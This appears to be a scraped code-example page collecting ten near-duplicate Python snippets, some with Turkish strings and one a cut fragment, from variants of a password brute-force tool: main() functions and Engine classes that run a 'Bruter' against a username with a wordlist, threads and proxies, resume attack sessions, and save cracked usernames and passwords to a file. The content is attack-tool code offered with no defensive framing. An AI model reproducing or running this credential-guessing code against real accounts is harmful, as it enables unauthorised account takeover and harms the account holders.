예제 #1
0
def main():

 username = "******"
 wordlist = "password_9.txt"
 threads = "999999" 

 # assign variables
 engine = Bruter(username.title(), int(threads), wordlist)
 session = Session(username.title(), wordlist)

 if session.exists():
  if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y':
   data = session.read()
   if data:
    engine.attempts = int(data['attempts'])
    engine.passlist.queue = eval(data['queue'])
    engine.retrieve = True

 # start attack
 try:
  engine.start()
 except KeyboardInterrupt:
  engine.user_abort = True 
 finally:
  if all([engine.spyder.proxy_info, not engine.isFound]):
   engine.display(engine.pwd)

  if all([not engine.read, engine.user_abort, not engine.isFound]):
   print('{}[!] Exiting ...'.format('' if not engine.spyder.proxy_info else '\n'))

  if all([engine.read, not engine.isFound]):
   print('\n[*] Password not found')

  sleep(1.5)
  engine.stop()
예제 #2
0
def main():

 # assign arugments
 args = ArgumentParser()
 args.add_argument('username', help='email or username')
 args.add_argument('wordlist', help='password list')
 args.add_argument('threads', help='password per seconds. Any number <= 16')
 args = args.parse_args()

 if not exists(args.wordlist):
  exit('[!] Unable to locate `{}`'.format(args.wordlist))

 if not args.threads.isdigit():
  exit('[!] Threads must be a number')

 # assign variables
 engine = Bruter(args.username.title(), int(args.threads), args.wordlist)
 session = Session(args.username.title(), args.wordlist)

 if session.exists():
  if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y':
   data = session.read()
   if data:
    engine.attempts = int(data['attempts'])
    engine.passlist.queue = eval(data['queue'])
    engine.retrieve = True

 # start attack
 try:
  engine.start()
 finally:
  if not engine.isFound:
   engine.display(engine.pwd)
   print('\n[!] Exiting ...')
  engine.stop()
예제 #3
0
def main():

    # assign arugments
    args = ArgumentParser()
    args.add_argument('Username', help='email or username')
    args.add_argument('wordlist', help='password list')
    args.add_argument('threads', help='password per seconds. Any number <= 16')
    args = args.parse_args()

    if not exists(args.wordlist):
        exit('[!] Unable to locate WordList `{}`'.format(args.wordlist))

    if not args.threads.isdigit():
        exit('[!] Threads must be a number')

    # assign variables
    engine = Bruter(args.username.title(), int(args.threads), args.wordlist)
    session = Session(args.username.title(), args.wordlist)

    if session.exists():
        if _input('Do you want to resume the attack? [y/n]: ').split(
        )[0][0] == 'y':
            data = session.read()
            if data:
                engine.attempts = int(data['attempts'])
                engine.passlist.queue = eval(data['queue'])
                engine.retrieve = True

    # start attack
    try:
        engine.start()
    except KeyboardInterrupt:
        engine.user_abort = True
    finally:
        if all([engine.spyder.proxy_info, not engine.isFound]):
            engine.display(engine.pwd)

        if all([not engine.read, engine.user_abort, not engine.isFound]):
            print('{}[!] Exiting ...'.format(
                '' if not engine.spyder.proxy_info else '\n'))

        if all([engine.read, not engine.isFound]):
            print('\n[*] Password not found')

        sleep(1.5)
        engine.stop()
예제 #4
0
def main():

    # assign arugments
    args = ArgumentParser()
    args.add_argument('kullanýcý adý', help='email VEYA kullanýcý adý')
    args.add_argument('wordlist', help='þifre listesi')
    args.add_argument('denenenler',
                      help='saniye baþýna þifre. Herhangi bir numara <= 16')
    args = args.parse_args()

    if not exists(args.wordlist):
        exit('[!] Bulunamadý `{}`'.format(args.wordlist))
    if not args.threads.isdigit():
        exit('[!]Konular bir sayý olmalýdýr ')

    # assign variables
    engine = Bruter(args.username.title(), int(args.threads), args.wordlist)
    session = Session(args.username.title(), args.wordlist)

    if session.exists():
        if _input(
                'attack ý baþlatmak istermisin? [y/n]: ').split()[0][0] == 'y':
            data = session.read()
            if data:
                engine.attempts = int(data['attempts'])
                engine.passlist.queue = eval(data['queue'])
                engine.retrieve = True

    # start attack
    try:
        engine.start()
    except KeyboardInterrupt:
        engine.user_abort = True
    finally:
        if all([engine.spyder.proxy_info, not engine.isFound]):
            engine.display(engine.pwd)

        if all([not engine.read, engine.user_abort, not engine.isFound]):
            print('{}[!] çýkýlýyor ...'.format(
                '' if not engine.spyder.proxy_info else '\n'))

        if all([engine.read, not engine.isFound]):
            print('\n[*] þifre bulunamadý')

        sleep(1.5)
        engine.stop()
예제 #5
0
def main():
    arugments = args()
    mode = arugments.mode
    username = arugments.username
    wordlist = arugments.wordlist
    modes = {0: 128, 1: 64, 2: 32, 3: 16}

    if not exists(wordlist):
        exit('[!] Invalid path to wordlist')

    session = Session(username.title(), wordlist)
    engine = Bruter(username.title(), modes[mode], wordlist)

    if session.exists:
        if _input('Do you want to resume the attack? [y/n]: ').split(
        )[0][0] == 'y':
            data = session.read()
            if data:
                engine.attempts = int(data['attempts'])
                engine.passlist.queue = eval(data['queue'])
                engine.retrieve = True

    # start attack
    try:
        engine.start()
    except KeyboardInterrupt:
        engine.user_abort = True
        engine.stop()
    finally:
        if all([engine.spyder.proxy_info, not engine.isFound]):
            engine.display(engine.pwd)

        if all([not engine.read, engine.user_abort, not engine.isFound]):
            print('{}[!] Exiting ...'.format(
                '' if not engine.spyder.proxy_info else '\n'))

        if all([engine.read, not engine.isFound]):
            print('\n[*] Password not found')

        try:
            sleep(1.5)
        except:
            pass

        engine.stop()
class Engine(object):

    def __init__(self, username, threads, passlist_path, is_color):  
        self.bruter = None 
        self.resume = False 
        self.is_alive = True 
        self.threads = threads
        self.username = username
        self.passlist_path = passlist_path
        self.display = Display(is_color=is_color)
        self.session = Session(username, passlist_path)
    
    def passlist_path_exists(self):
        if not exists(self.passlist_path):
            self.display.warning('Invalid path to password list')
            return False
        return True 
    
    def session_exists(self):
        return self.session.exists
    
    def create_bruter(self):
        self.bruter = Bruter(self.username, self.threads, self.passlist_path, self.resume)
    
    def get_user_resp(self):
        return self.display.prompt('Would you like to resume the attack? [y/n]: ')
    
    def write_to_file(self, password):
        with open(credentials, 'at') as f:
            data = 'Username: {}\nPassword: {}\n\n'.format(self.username.title(), password)
            f.write(data)

    def start(self):
        if not self.passlist_path_exists():
            self.is_alive = False 
        
        if self.session_exists() and self.is_alive:
            resp = None 

            try:
                resp = self.get_user_resp()
            except:
                self.is_alive = False 
                        
            if resp and self.is_alive:
                if resp.strip().lower() == 'y':
                    self.resume = True 
        
        if self.is_alive:
            self.create_bruter()

            try:
                self.bruter.start()
            except KeyboardInterrupt:
                self.bruter.stop()
                self.bruter.display.shutdown(self.bruter.last_password, 
                                            self.bruter.password_manager.attempts, len(self.bruter.browsers))
            finally:
                self.stop()
    
    def stop(self):
        if self.is_alive:

            self.bruter.stop()
            self.is_alive = False 

            if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size:
                self.bruter.display.stats_not_found(self.bruter.last_password, 
                                                    self.bruter.password_manager.attempts, len(self.bruter.browsers))
            
            if self.bruter.is_found:
                self.write_to_file(self.bruter.password)
                self.bruter.display.stats_found(self.bruter.password, 
                                                self.bruter.password_manager.attempts, len(self.bruter.browsers))
예제 #7
0
class Engine(object):
    def __init__(self, username, threads, passlist_path, is_color):
        self.resume = False
        self.is_alive = True
        self.threads = threads
        self.username = username
        self.passlist_path = passlist_path
        self.display = Display(is_color=is_color)
        self.bruter = Bruter(username, threads, passlist_path)

    def get_user_resp(self):
        return self.display.prompt(
            "Would you like to resume the attack? [y/N]: ")

    def write_to_file(self, password):
        with open(credentials, "at") as f:
            data = "Username: {}\nPassword: {}\n\n".format(
                self.username.title(), password)
            f.write(data)

    def start(self):

        while self.is_alive and not self.bruter.password_manager.session:
            pass

        if not self.is_alive:
            return

        if self.bruter.password_manager.session.exists:
            try:
                resp = self.get_user_resp()
            except:
                self.is_alive = False

            if resp and self.is_alive:
                if resp.strip().lower() == "y":
                    self.bruter.password_manager.resume = True

        try:
            self.bruter.start()
        except KeyboardInterrupt:
            self.bruter.stop()
            self.bruter.display.shutdown(
                self.bruter.last_password,
                self.bruter.password_manager.attempts,
                len(self.bruter.browsers),
            )
        finally:
            self.stop()

    def stop(self):
        if self.is_alive:

            self.bruter.stop()
            self.is_alive = False

            if (self.bruter.password_manager.is_read
                    and not self.bruter.is_found
                    and not self.bruter.password_manager.list_size):
                self.bruter.display.stats_not_found(
                    self.bruter.last_password,
                    self.bruter.password_manager.attempts,
                    len(self.bruter.browsers),
                )

            if self.bruter.is_found:
                self.write_to_file(self.bruter.password)
                self.bruter.display.stats_found(
                    self.bruter.password,
                    self.bruter.password_manager.attempts,
                    len(self.bruter.browsers),
                )
예제 #8
0
 except KeyboardInterrupt:

  engine.user_abort = True 

 finally:

  if all([engine.spyder.proxy_info, not engine.isFound]):

   engine.display(engine.pwd)


  if all([not engine.read, engine.user_abort, not engine.isFound]):

   print('{}[!] Exiting ...'.format('' if not engine.spyder.proxy_info else '\n'))


  if all([engine.read, not engine.isFound]):

   print('\n[*] Password not found')


  sleep(1.5)

  engine.stop()


if __name__ == '__main__':

 main()

예제 #9
0
class Engine(object):

    def __init__(self, username, threads, passlist_path, is_color):
        self.bruter = None
        self.resume = False
        self.is_alive = True
        self.threads = threads
        self.username = username
        self.passlist_path = passlist_path
        self.display = Display(is_color=is_color)

    def passlist_path_exists(self):
        if not exists(self.passlist_path):
            self.display.warning('Boyle bir dosya yok.')
            return False
        return True

    def create_bruter(self):
        self.bruter = Bruter(
            self.username,
            self.threads,
            self.passlist_path
        )

    def get_user_resp(self):
        return self.display.prompt('Islemi devam ettirmek iste misin? [y/n]: ')

    def write_to_file(self, password):
        with open(credentials, 'at') as f:
            data = 'Kullanici Adi: {}\nSifre: {}\n\n'.format(
                self.username.title(), password)
            f.write(data)

    def start(self):
        if not self.passlist_path_exists():
            self.is_alive = False

        if self.is_alive:
            self.create_bruter()

            while self.is_alive and not self.bruter.password_manager.session:
                pass

            if not self.is_alive:
                return

            if self.bruter.password_manager.session.exists:
                try:
                    resp = self.get_user_resp()
                except:
                    self.is_alive = False

                if resp and self.is_alive:
                    if resp.strip().lower() == 'y':
                        self.bruter.password_manager.resume = True

            try:
                self.bruter.start()
            except KeyboardInterrupt:
                self.bruter.stop()
                self.bruter.display.shutdown(self.bruter.last_password,
                                             self.bruter.password_manager.attempts, len(self.bruter.browsers))
            finally:
                self.stop()

    def stop(self):
        if self.is_alive:

            self.bruter.stop()
            self.is_alive = False

            if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size:
                self.bruter.display.stats_not_found(self.bruter.last_password,
                                                    self.bruter.password_manager.attempts, len(self.bruter.browsers))

            if self.bruter.is_found:
                self.write_to_file(self.bruter.password)
                self.bruter.display.stats_found(self.bruter.password,
                                                self.bruter.password_manager.attempts, len(self.bruter.browsers))
예제 #10
0
class Engine(object):

    def __init__(self, username, threads, passlist_path, is_color):  
        self.bruter = None 
        self.resume = False 
        self.is_alive = True 
        self.threads = threads
        self.username = username
        self.passlist_path = passlist_path
        self.display = Display(is_color=is_color)
        self.session = Session(username, passlist_path)
    
    def passlist_path_exists(self):
        if not exists(self.passlist_path):
            self.display.warning('Invalid path to password list')
            return False
        return True 
    
    def session_exists(self):
        return self.session.exists
    
    def create_bruter(self):
        self.bruter = Bruter(self.username, self.threads, self.passlist_path, self.resume)
    
    def get_user_resp(self):
        return self.display.prompt('Would you like to resume the attack? [y/n]: ')
    
    def write_to_file(self, password):
        with open(credentials, 'at') as f:
            data = 'Username: {}\nPassword: {}\n\n'.format(self.username.title(), password)
            f.write(data)

    def start(self):
        if not self.passlist_path_exists():
            self.is_alive = False 
        
        if self.session_exists() and self.is_alive:
            resp = None 

            try:
                resp = self.get_user_resp()
            except:
                self.is_alive = False 
                        
            if resp and self.is_alive:
                if resp.strip().lower() == 'y':
                    self.resume = True 
        
        if self.is_alive:
            self.create_bruter()

            try:
                self.bruter.start()
            except KeyboardInterrupt:
                self.bruter.stop()
                self.bruter.display.shutdown(self.bruter.last_password, 
                                            self.bruter.password_manager.attempts, len(self.bruter.browsers))
            finally:
                self.stop()
    
    def stop(self):
        if self.is_alive:

            self.bruter.stop()
            self.is_alive = False 

            if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size:
                self.bruter.display.stats_not_found(self.bruter.last_password, 
                                                    self.bruter.password_manager.attempts, len(self.bruter.browsers))
            
            if self.bruter.is_found:
                self.write_to_file(self.bruter.password)
                self.bruter.display.stats_found(self.bruter.password, 
                                                self.bruter.password_manager.attempts, len(self.bruter.browsers))